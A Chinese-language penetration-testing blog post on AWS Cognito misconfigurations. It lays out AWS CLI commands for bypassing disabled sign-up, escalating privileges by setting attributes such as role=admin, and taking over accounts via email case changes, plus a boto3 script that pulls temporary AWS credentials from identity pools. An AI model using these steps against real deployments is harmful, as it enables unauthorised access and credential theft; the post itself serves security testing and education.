云上攻防 | AWS中的常见 Cognito 配置错误

AWS Cognito 是由亚马逊网络服务(AWS)提供的全托管服务,旨在简化 Web 和移动应用程序的用户认证和授权过程。它提供了一整套功能来处理用户注册、登录和用户管理,免去了开发人员从头构建这些功能的需求。

尽管本文讨论的攻击和配置错误已经有大量文献记载,并且得到了各种资源的关注,但重申它们的重要性仍然至关重要,以强调在 AWS Cognito 部署中确保安全配置和持续监控的重要性。

图片

AWS Cognito 组件

AWS Cognito 提供了两个主要组件:用户池身份池

1.用户池: 用户池允许开发人员创建和管理一个可自定义的用户目录,以处理用户注册、登录和账户恢复。用户池支持多种认证方法,包括用户名和密码、社交登录(如 Google 或 Facebook)以及多因素认证(MFA)。用户池还处理用户档案管理,使您可以存储针对应用程序需求的自定义属性。

2.身份池: 身份池,也称为联合身份池,允许用户获取临时的 AWS 凭证以访问 AWS 服务。通过身份池,您可以集成第三方身份提供者(如 Google、Facebook 或您自己的身份系统)来验证用户并授予他们访问 AWS 资源的权限。

图片

图片

💡 快速提示: 如果你发现应用程序中加载了 aws-sdk.min.js 或 amazon-cognito.min.js,那么你应该立即检查是否有 Cognito 参数或硬编码的 AWS 凭证。

常见的 User Pools 攻击

AWS Cognito 用户池的一个关键方面是生成和使用 JSON Web Tokens (JWTs) 来进行认证和授权。

检测 Cognito User Pools 的使用:

要识别是否使用了 Cognito User Pools,可以在应用程序的 JS/HTML 源代码中查找 UserPoolID 或 ClientId。

图片

此外,观察 Web 应用程序发出的对 AWS Cognito 的登录/注册调用。

图片

攻击示例

让我们深入探讨一些常见的攻击向量。

假设一个 Web 服务使用了 Cognito,但没有提供注册选项。

图片

我们可以尝试以下方法:

注册绕过: 攻击者可以尝试通过使用 AWS CLI 绕过常规的应用程序注册流程。通过执行 aws cognito-idp sign-up 命令并提供适当的参数(例如虚假的电子邮件地址和选择的密码),攻击者可以启动注册过程,而无需按照预期的步骤进行。

aws cognito-idp sign-up --client-id '[ClientId]' --username 'mail@hacker.com' --password 's3cr4tP@ss' --user-attributes '[{"Name":"email","Value":"mail@email.com"}]'

图片

确认注册: 在启动注册过程后,攻击者需要确认用户账户。这可以通过使用 aws cognito-idp confirm-sign-up 命令来完成,该命令需要客户端 ID 和在注册过程中使用的用户名/电子邮件,以及确认代码。

aws cognito-idp confirm-sign-up — client-id '[ClientId]' — username 'mail@hacker.com' — confirmation-code '013370'

图片

图片

登录与 JWT 令牌获取: 使用创建的用户账户,攻击者可以启动登录过程以获取 JWT 令牌。通过使用 aws cognito-idp initiate-auth 命令,并提供适当的区域、客户端 ID 和认证参数(用户名和密码),攻击者可以从响应中获取 JWT 令牌。

aws cognito-idp initiate-auth --region YOUR_REGION --client-id YOUR_CLIENT_ID --auth-flow USER_PASSWORD_AUTH --auth-parameters USERNAME=YOUR_USERNAME,PASSWORD=YOUR_PASSWORD

否则,攻击者可以直接将新注册的凭证输入到登录表单中。

图片

图片

图片

操控用户属性: 一旦攻击者拥有有效的 JWT 令牌,他们可以通过操控用户属性来与用户池进行交互。使用 aws cognito-idp update-user-attributes 命令,攻击者可以直接修改诸如电子邮件或应用角色等属性,从而可能赋予自己更高的权限或更改账户信息。

寻找一些有趣的参数,例如“email_verified”、“admin”、“debug_mode”、“is_premium”等。如果没有适当的 Lambda 触发器或权限配置错误,您将能够通过 CLI 更改这些属性。

扩展攻击向量,攻击者可以尝试指定现有用户的电子邮件地址,并改变其大小写(例如 user@test.com[1] 和 UsEr@test.com[2])。如果应用程序在后台登录之前对电子邮件地址进行了规范化,这可能导致未经授权的访问。

要获取用户设置的属性列表,请运行以下命令:

aws cognito-idp get-user --access-token [AccessToken]

然后尝试直接更改属性:

aws cognito-idp update-user-attributes --access-token 'TOKEN' --user-attributes '[{"Name":"email","Value":"any@mail.com"}, {"Name":"role","Value":"admin"}]' --region=us-east-2

常见的 Identity Pools 攻击

检测 Cognito Identity Pools 的使用:

可以在 JS/HTML 源代码中找到 IdentityPoolID。此外,您可能会发现使用 JWT 令牌检索临时 AWS 凭证的引用。

图片

您可以从身份池中检索临时 AWS 凭证。这些凭证随后可以用来访问 AWS 资源。

可以通过 CLI 完成这一操作:

aws cognito-identity get-id --identity-pool-id <identity-pool-id> aws cognito-identity get-credentials-for-identity --identity-id <identity-id-from-previous-command>

或使用python脚本:​​​​​

import boto3region='us-east-1'
identity_pool='us-east-1:XXXXXXXXXXXXXXXXXXXXXXXXXX'client = boto3.client('cognito-identity',region_name=region)
_id = client.get_id(IdentityPoolId=identity_pool)_id = _id['IdentityId']credentials = client.get_credentials_for_identity(IdentityId=_id)access_key = credentials['Credentials']['AccessKeyId']secret_key = credentials['Credentials']['SecretKey']session_token = credentials['Credentials']['SessionToken']identity_id = credentials['IdentityId']
print("Access Key: " + access_key)print("Secret Key: " + secret_key)print("Session Token: " + session_token)print("Identity Id: " + identity_id)

或者,您可以拦截应用程序向 Cognito 发送的请求:

图片

攻击示例

接下来,您可以使用自动化工具或通过 CLI 手动探索 AWS 账户。

图片

免费获取网络安全优质学习资料与干货教程

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值